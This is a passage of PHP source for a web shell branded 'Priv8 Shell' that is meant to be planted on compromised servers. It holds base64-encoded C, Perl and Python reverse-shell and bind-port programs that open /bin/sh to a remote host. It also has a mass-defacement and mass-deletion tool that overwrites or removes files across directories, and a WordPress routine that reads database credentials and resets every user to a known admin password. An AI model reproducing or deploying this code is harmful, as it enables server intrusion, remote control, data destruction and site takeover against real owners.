9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfWVsc2lmKCRBY3Rpb24gZXEgImd1aSIpICMgR1VJIGRpcmVjdG9yeQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJaWYoISRXaW5OVCkKCXsKCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJaWYoISgkY2htb2QgZXEgMCkpCgkJewoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJCSRmaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7CgkJCWNob3AoJHJlc3VsdD0gYGNobW9kICRjaG1vZCAiJGZpbGUiYCk7CgkJCWlmKCZ0cmltKCRyZXN1bHQpIGVxICIiKQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJCX0KCQl9Cgl9CgkkcmVuYW1lPSRpbnsncmVuYW1lJ307CglpZighJHJlbmFtZSBlcSAiIikKCXsKCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkKCQl7CgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCQl9ZWxzZQoJCXsKCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCQl9Cgl9CgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307CglpZigkcmVtb3ZlIG5lICIiKQoJewoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7CgkJaWYoLWQgJHJtKQoJCXsKCQkJJlJtRGlyKCRybSk7CgkJfWVsc2UKCQl7CgkJCWlmKHVubGluaygkcm0pKQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJCX0JCQkKCQl9Cgl9CglwcmludCAmTGlzdERpcjsKCn0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInNhdmUiKQkJCQkgCSMgdXNlciB3YW50cyB0byBzYXZlIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJaWYoJlNhdmVGaWxlKCRpbnsnZGF0YSd9LCRpbnsnZmlsZSd9KSkKCXsKCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7Cgl9ZWxzZQoJewoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7Cgl9CglwcmludCAmTGlzdERpcjsKfQplbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAJCQkJCSMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZQcmludFBhZ2VIZWFkZXI7CgoJcHJpbnQgJlVwbG9hZEZpbGU7Cn0KZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQKewoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50cG9ydCIpOwoJcHJpbnQgJkJhY2tCaW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmQnJ1dGVGb3JjZXI7Cn1lbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlCnsKCXByaW50ICZEb3dubG9hZEZpbGU7Cn1lbHNpZigkQWN0aW9uIGVxICJjaGVja2xvZyIpIAkJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsb2cgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdMb2c7Cgp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmVmlld0RvbWFpblVzZXI7Cn1lbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGxvZ291dAp7CgkmUGVyZm9ybUxvZ291dDsKfQomUHJpbnRQYWdlRm9vdGVyOw==";\r\n\t$cgi = fopen($file_cgi, "w");\r\n\tfwrite($cgi, base64_decode($cgi_script));\r\n\tfwrite($htcgi, $isi_htcgi);\r\n\tchmod($file_cgi, 0755);\r\n        chmod($memeg, 0755);\r\n\techo "<br><center>Done ... <a href=\'priv_cgi/cgi.priv\' target=\'_blank\'>Click Here</a></div>";\r\n\thardFooter();\r\n}\r\n\r\n\r\n// Mass Deface Section Start\r\nfunction actionSql() {\r\n\thardHeader();\r\n\techo "<center><h1>Mass Tools</h1><div class=content><br>";\r\n\t\r\n\techo "<br><center> <iframe src=\'?mas\' width=\'800\' height=\'450\'></iframe></a></div>";\r\n\t\r\n\thardFooter();\r\n}\r\n\r\n// Mass Deface Section END\r\n\r\n// Back COnnect SEction\r\nfunction actionNetwork() {\r\n\thardHeader();\r\n\t$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";\r\n\t$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";\r\n\t$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";\r\n\t$pyy="IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBDb243ZXh0IC0gWGFpIFN5bmRpY2F0ZVxuVGhhbmtzIEdvb2dsZSBGb3IgUmVmZXJlbnNpXG5cbicnJykNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDEpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMikNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwzKQ0KICAgIHNoZWxsID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pDQogIGV4Y2VwdCBzb2NrZXQudGltZW91dDoNCiAgICBwcmludCAiVGltT3V0Ig0KICBleGNlcHQgc29ja2V0LmVycm9yLCBlOg0KICAgIHByaW50ICJFcnJvciIsIGUNCnB5YmFja2Nvbm5lY3QoKQ==";\r\n\t$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";\r\n\techo "<center><h1>Network tools</h1><div class=content>\r\n\t<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.port.value,this.pass.value);return false;\'><br>\r\n\t<span>Bind port to /bin/sh</span><br/>\r\n\tPort: <input type=\'text\' name=\'port\' value=\'31337\'> Password: <input type=\'text\' name=\'pass\'> Using: <label><select name=\'using\'><option value=\'bpp\'>Perl</option><option value=\'bpc\'>C</option></select></label> <input type=submit value=\'submit\'>\r\n\t</form><br>\r\n\t<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.server.value,this.port.value);return false;\'>\r\n\t<span>Back-connect to</span><br/>\r\n\tServer: <input type=\'text\' name=\'server\' value=". $_SERVER[\'REMOTE_ADDR\'] ."> Port: <input type=\'text\' name=\'port\' value=\'21\'> Using: <label><select name=\'using\'><option value=\'bcpy\'>Python</option><option value=\'bcp\'>Perl</option><option value=\'bcc\'>C</option></select></label> <input type=submit value=\'submit\'><br><br><br>\r\n\t</form><br>"; \r\n\tif(isset($_POST[\'p1\'])) {\r\n\t\tfunction cf($f,$t) {\r\n\t\t\t$w=@fopen($f,"w") or @function_exists(\'file_put_contents\');\r\n\t\t\tif($w)\t{\r\n\t\t\t\t@fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));\r\n\t\t\t\t@fclose($w);\r\n\t\t\t}\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bpc\') {\r\n\t\t\tcf("/tmp/bp.c",$bind_port_c);\r\n\t\t\t$▖ = ex("gcc -o /tmp/bp /tmp/bp.c");\r\n\t\t\t@unlink("/tmp/bp.c");\r\n\t\t\t$▖ .= ex("/tmp/bp ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bp")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bpp\') {\r\n\t\t\tcf("/tmp/bp.pl",$bind_port_p);\r\n\t\t\t$▖ = ex(which("perl")." /tmp/bp.pl ".$_POST[\'p2\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bp.pl")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcc\') {\r\n\t\t\tcf("/tmp/bc.c",$back_connect_c);\r\n\t\t\t$▖ = ex("gcc -o /tmp/bc /tmp/bc.c");\r\n\t\t\t@unlink("/tmp/bc.c");\r\n\t\t\t$▖ .= ex("/tmp/bc ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bc")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcp\') {\r\n\t\t\tcf("/tmp/bc.pl",$back_connect_p);\r\n\t\t\t$▖ = ex(which("perl")." /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bc.pl")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcpy\') {\r\n\t\t\tcf("/tmp/bc.py",$back_connect_p);\r\n\t\t\t$▖ = ex(which("perl")." /tmp/bc.py ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bc.py")."</pre>";\r\n          }\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\n\r\n// Back Connect Section END \r\n\r\n\r\nif (isset($_REQUEST[\'mas\'])) {\r\n    \r\n@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'max_execution_time\', 0);\r\n@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\necho "<center><form action=\\"\\" method=\\"post\\"> ";\r\nfunction edit_file($file, $index) {\r\n    if (is_writable($file)) {\r\n        clear_fill($file, $index);\r\n        echo "<Span style=\'color:green;\'><strong> [+] Done 100% Successfull </strong></span><br></center>";\r\n    } else {\r\n        echo "<Span style=\'color:red;\'><strong> [-] Failed :( </strong></span><br></center>";\r\n    }\r\n}\r\nfunction hapus_Massal($dir, $namafile) {\r\n    if (is_writable($dir)) {\r\n        $dira = scandir($dir);\r\n        foreach ($dira as $dirb) {\r\n            $dirc = "$dir/$dirb";\r\n            $lokasi = $dirc . \'/\' . $namafile;\r\n            if ($dirb === \'.\') {\r\n                if (file_exists("$dir/$namafile")) {\r\n                    unlink("$dir/$namafile");\r\n                }\r\n            } elseif ($dirb === \'..\') {\r\n                if (file_exists("" . dirname($dir) . "/$namafile")) {\r\n                    unlink("" . dirname($dir) . "/$namafile");\r\n                }\r\n            } else {\r\n                if (is_dir($dirc)) {\r\n                    if (is_writable($dirc)) {\r\n                        if (file_exists($lokasi)) {\r\n                            echo "[<font color=red>DELETED</font>] $lokasi<br>";\r\n                            unlink($lokasi);\r\n                            $idx = hapus_Massal($dirc, $namafile);\r\n                        }\r\n                    }\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\nfunction clear_fill($file, $index) {\r\n    if (file_exists($file)) {\r\n        $handle = fopen($file, \'w\');\r\n        fwrite($handle, \'\');\r\n        fwrite($handle, $index);\r\n        fclose($handle);\r\n    }\r\n}\r\nfunction gass() {\r\n    global $dirr, $index;\r\n    chdir($dirr);\r\n    $me = str_replace(dirname(__FILE__) . \'/\', \'\', __FILE__);\r\n    $files = scandir($dirr);\r\n    $notallow = array(".htaccess", "www", "Web.Config", "UMD.php", "Web.config", "web.config", "web.Config", "..", ".");\r\n    sort($files);\r\n    $n = 0;\r\n    foreach ($files as $file) {\r\n        if ($file != $me && is_dir($file) != 1 && !in_array($file, $notallow)) {\r\n            echo "<center><Span style=\'color: #8A8A8A;\'><strong>$dirr/</span>$file</strong> ====> ";\r\n            edit_file($file, $index);\r\n            flush();\r\n            $n = $n + 1;\r\n        }\r\n    }\r\n    echo "<br>";\r\n    echo "<center><br><h3>$n Files Defaced </h3></center><br> ";\r\n}\r\nfunction ListFiles($dirrall) {\r\n    if ($dh = opendir($dirrall)) {\r\n        $files = Array();\r\n        $inner_files = Array();\r\n        $me = str_replace(dirname(__FILE__) . \'/\', \'\', __FILE__);\r\n        $notallow = array($me, ".htaccess", "www", "Web.Config", "UMD.php", "Web.config", "web.config", "web.Config");\r\n        while ($file = readdir($dh)) {\r\n            if ($file != "." && $file != ".." && $file[0] != \'.\' && !in_array($file, $notallow)) {\r\n                if (is_dir($dirrall . "/" . $file)) {\r\n                    $inner_files = ListFiles($dirrall . "/" . $file);\r\n                    if (is_array($inner_files)) $files = array_merge($files, $inner_files);\r\n                } else {\r\n                    array_push($files, $dirrall . "/" . $file);\r\n                }\r\n            }\r\n        }\r\n        closedir($dh);\r\n        return $files;\r\n    }\r\n}\r\nfunction gass_all() {\r\n    global $index;\r\n    $dirrall = $_POST[\'d_dir\'];\r\n    foreach (ListFiles($dirrall) as $key => $file) {\r\n        $file = str_replace(\'//\', "/", $file);\r\n        echo "<center><strong>$file</strong> ===>";\r\n        edit_file($file, $index);\r\n        flush();\r\n    }\r\n    $key = $key + 1;\r\n    echo "<center><br><h3>$key Files Defaced </h3></center><br>";\r\n}\r\nfunction sabun_Massal($dir, $namafile, $isi_script) {\r\n    if (is_writable($dir)) {\r\n        $dira = scandir($dir);\r\n        foreach ($dira as $dirb) {\r\n            $dirc = "$dir/$dirb";\r\n            $lokasi = $dirc . \'/\' . $namafile;\r\n            if ($dirb === \'.\') {\r\n                file_put_contents($lokasi, $isi_script);\r\n            } elseif ($dirb === \'..\') {\r\n                file_put_contents($lokasi, $isi_script);\r\n            } else {\r\n                if (is_dir($dirc)) {\r\n                    if (is_writable($dirc)) {\r\n                        echo "<font color=red>[ DONE ] </font><font color=white> $lokasi</font><br>";\r\n                        file_put_contents($lokasi, $isi_script);\r\n                        $idx = sabun_Massal($dirc, $namafile, $isi_script);\r\n                    }\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\nif ($_POST[\'Mass\'] == \'onedir\') {\r\n    echo "<br> Versi Text Area<br><textarea style=\'background:black;outline:none;color:red;\' name=\'index\' rows=\'10\' cols=\'67\'>\r\n";\r\n    $ini = "http://";\r\n    $mainpath = $_POST[d_dir];\r\n    $file = $_POST[d_file];\r\n    $dir = opendir("$mainpath");\r\n    $code = base64_encode($_POST[script]);\r\n    $indx = base64_decode($code);\r\n    while ($row = readdir($dir)) {\r\n        $start = @fopen("$row/$file", "w+");\r\n        $finish = @fwrite($start, $indx);\r\n        if ($finish) {\r\n            echo "$ini$row/$file\r\n";\r\n        }\r\n    }\r\n    echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\r\n";\r\n    $mainpath = $_POST[d_dir];\r\n    $file = $_POST[d_file];\r\n    $dir = opendir("$mainpath");\r\n    $code = base64_encode($_POST[script]);\r\n    $indx = base64_decode($code);\r\n    while ($row = readdir($dir)) {\r\n        $start = @fopen("$row/$file", "w+");\r\n        $finish = @fwrite($start, $indx);\r\n        if ($finish) {\r\n            echo \'<a href="http://\' . $row . \'/\' . $file . \'" target="_blank">http://\' . $row . \'/\' . $file . \'</a><br>\';\r\n        }\r\n    }\r\n} elseif ($_POST[\'Mass\'] == \'sabunkabeh\') {\r\n    gass();\r\n} elseif ($_POST[\'Mass\'] == \'hapusMassal\') {\r\n    hapus_Massal($_POST[\'d_dir\'], $_POST[\'d_file\']);\r\n} elseif ($_POST[\'Mass\'] == \'sabunmematikan\') {\r\n    gass_all();\r\n} elseif ($_POST[\'Mass\'] == \'Massdeface\') {\r\n    echo "<div style=\'margin: 5px auto; padding: 5px\'>";\r\n    sabun_Massal($_POST[\'d_dir\'], $_POST[\'d_file\'], $_POST[\'script\']);\r\n    echo "</div>";\r\n} else {\r\n    echo "<center>\t\t<font face=\'Open Sans\' color=\'red\' size=\'3\' >Select Type:<br></font><select class=\\"select\\" name=\\"Mass\\"  style=\\"width: 450px; background-color:#000000; color:#ffffff\\" height=\\"10\\" ><option value=\\"onedir\\">Mass Deface 1 Dir</option>\t<option value=\\"Massdeface\\">Mass Deface ALL Dir</option><option value=\\"sabunkabeh\\">Current Dir All Files</option>\t<option value=\\"sabunmematikan\\">Replace Everything With Deface</option><option value=\\"hapusMassal\\">Mass Delete Files</option></center></select><br><font face=\'Open Sans\' color=\'red\' size=\'3\' >Folder:</font><br>\t<input name=\'d_dir\' value=\'" . getcwd() . "\' required=\'\' type=\'text\' style=\'width: 450px; background-color:#000000; color:#ffffff\' height=\'10\'><br><font face=\'Open Sans\' color=\'red\' size=\'3\' >Filename:</font><br><input type=\'text\' name=\'d_file\' value=\'index.html\' style=\'width: 450px; background-color:#000000; color:#ffffff\' height=\'10\'><br><font face=\'Open Sans\' color=\'red\'  size=\'3\' >Index File:</font><br>\r\n\t\r\n\t<textarea name=\'script\' style=\'width: 450px; height: 200px; background-color:#000000; color:#ffffff \'>    </textarea><br>\r\n\t\r\n\t<input type=\'submit\' name=\'start\' value=\'Mass Deface\' style=\'width: 200px;\'></form></center></div>";\r\n}\r\n    die;\r\n}\r\n\r\nif (isset($_REQUEST[\'user\'])) {\r\necho"<html><head><title>Priv8 Shell Wp Mass User Changer</title></head>\r\n<style>\r\n@import \'https://fonts.googleapis.com/css?family=Open+Sans\';\r\n\r\nh1{\r\n\tcolor:#16a085;\r\n\ttext-shadow:0 0 5px;\r\n\tfont-family: Open Sans;\r\n}\r\n#gter{\r\n\tposition: absolute;\r\n\ttop: 0;\r\n\twidth: 100%;\r\n\ttext-align: center;\r\n\tbackground: black;\r\n\tcolor:#fff;\r\n\tpadding-top: 10px;\r\n\tpadding-bottom: 10px;\r\n\tfont-family: Open Sans;\r\n\tmargin-bottom:20px;\r\n}\r\n#gter span{\r\n\tcolor:white;\r\n\tfont-size: 18px;\r\n\ttext-shadow: :0px 0px 15px #00ffff;\r\n}\r\n.f{\r\n\tcolor:white;\r\n\tfont-family: Open Sans;\r\n\ttext-shadow: 0 0 15px #00ffff;\r\n\tfont-size: 21px;\r\n}\r\na{\r\n\tfont-family: Open Sans;\r\n\ttext-decoration: none;\r\n\tcolor:white;\r\n\ttext-shadow:0 0 15px #ff1111;\r\n}\r\nform{\r\n\tmargin-top: 10px;\r\n}\r\ninput[type=submit]{\r\n\tfont-size:13px;\r\n\theight: 25px;\r\n\twidth: 150px;\r\n\tborder: 2px solid red;\r\n\tcolor: white;\r\n\tbackground-color: black;\r\n\tfont-family: Open Sans;\r\n}\r\ninput[type=submit]:hover{\r\n\tbox-shadow: 0 0 2px #ff1111;\r\n}\r\ninput[type=text]{\r\n\tfont-family:Open Sans;\r\n\twidth: 400px;\r\n\theight: 25px;\r\n\tcolor: red;\r\n\tbackground: #000000;\r\n\tborder: 1px solid #ff1111;\r\n\tpadding: 5px;\r\n\ttext-align: center;\r\n\tfont-size:15px;\r\n}\t\r\ninput[type=text]:focus{\r\n\tbox-shadow: 0 0 3px #ff1111;\r\n}\r\n.heading{\r\n\tcolor:white;\r\n\tfont-size:25px;\r\n\tmargin-top: 20px;\r\n\tmargin-bottom: -110px;\r\n\tfont-family:Open Sans;\r\n\ttext-shadow:0px 0px 20px red;\t\r\n}\r\n</style>\r\n</head>\r\n<center>\r\n\r\n<form method=\'post\'>\r\n<input type=\'text\' name=\'config\' placeholder=\'Config URL Here\'>\r\n<br><br>\r\n<input type=\'submit\' name=\'ch\' value=\'Change Admin\'>\r\n</form>\r\n</center>";\r\n\r\nset_time_limit(0);\r\nerror_reporting(0);\r\nif ($_POST[\'ch\']) {\r\n    $get2 = file_get_contents($_POST[\'config\']);\r\n    preg_match_all(\'#<a href="(.*?)"#\', $get2, $config);\r\n    foreach ($config[1] as $don) {\r\n        $get = file_get_contents($_POST[\'config\'] . "/" . $don);\r\n        preg_match_all("#\'DB_HOST\', \'(.*?)\'#", $get, $host);\r\n        foreach ($host[1] as $don) {\r\n            $host = $don;\r\n        }\r\n        preg_match_all("#\'DB_PASSWORD\', \'(.*?)\'#", $get, $pass);\r\n        foreach ($pass[1] as $done) {\r\n            $password = $done;\r\n        }\r\n        preg_match_all("#\'DB_USER\', \'(.*?)\'#", $get, $user);\r\n        foreach ($user[1] as $done1) {\r\n            $user = $done1;\r\n        }\r\n        preg_match_all("#\'DB_NAME\', \'(.*?)\'#", $get, $name);\r\n        foreach ($name[1] as $done2) {\r\n            $name = $done2;\r\n        }\r\n        preg_match_all("#$table_prefix  = \'(.*?)\'#", $get, $prefix);\r\n        foreach ($prefix[1] as $done3) {\r\n            $prefix = $done3;\r\n        }\r\n        $connect = mysqli_connect($host, $user, $password, $name);\r\n        if ($connect) {\r\n            $query1 = mysqli_query($connect, "select * from " . $prefix . "options where option_name=\'siteurl\'");\r\n            while ($siteurl = mysqli_fetch_array($query1)) {\r\n                $site_url = $siteurl[\'option_value\'];\r\n            }\r\n            $query2 = mysqli_query($connect, "update " . $prefix . "users set user_login=\'admin\',user_pass=\'a09ac1f98189b89fd578b4fca7bf8bb2\'");\r\n            if ($query2) {\r\n                echo "<center><span class=f>URL : <a href=\'$site_url/wp-login.php\' target=\'_blank\'>$site_url/wp-login.php</a><br><br>UserName : admin<br><br>Password : Priv8shell<br><br></span></center>";\r\n            }\r\n        }\r\n    }\r\n}\r\n echo"</body></html>";\r\n\t\r\n    die;\r\n}\r\n\r\nif (isset($_REQUEST[\'reseller\'])) {\r\necho"<html>  <body style=\'text-align: center\'> <center> <table border=\'1\' width=\'50%\' cellspacing=\'0\' cellpadding=\'15\' style=\'border-width: 0px\'> \t\t<tr> \t\t\t<td background=\'http://buyshellsites.com/bg.gif\' style=\'border-style: none; border-width: medium\'> <div align=\'center\'>     <table border=\'1\' width=\'100%\' bgcolor=\'#000000\' cellpadding=\'0\' style=\'border-collapse: collapse\' bordercolor=\'#333333\'> \t<tr> \t\t \t\t<td 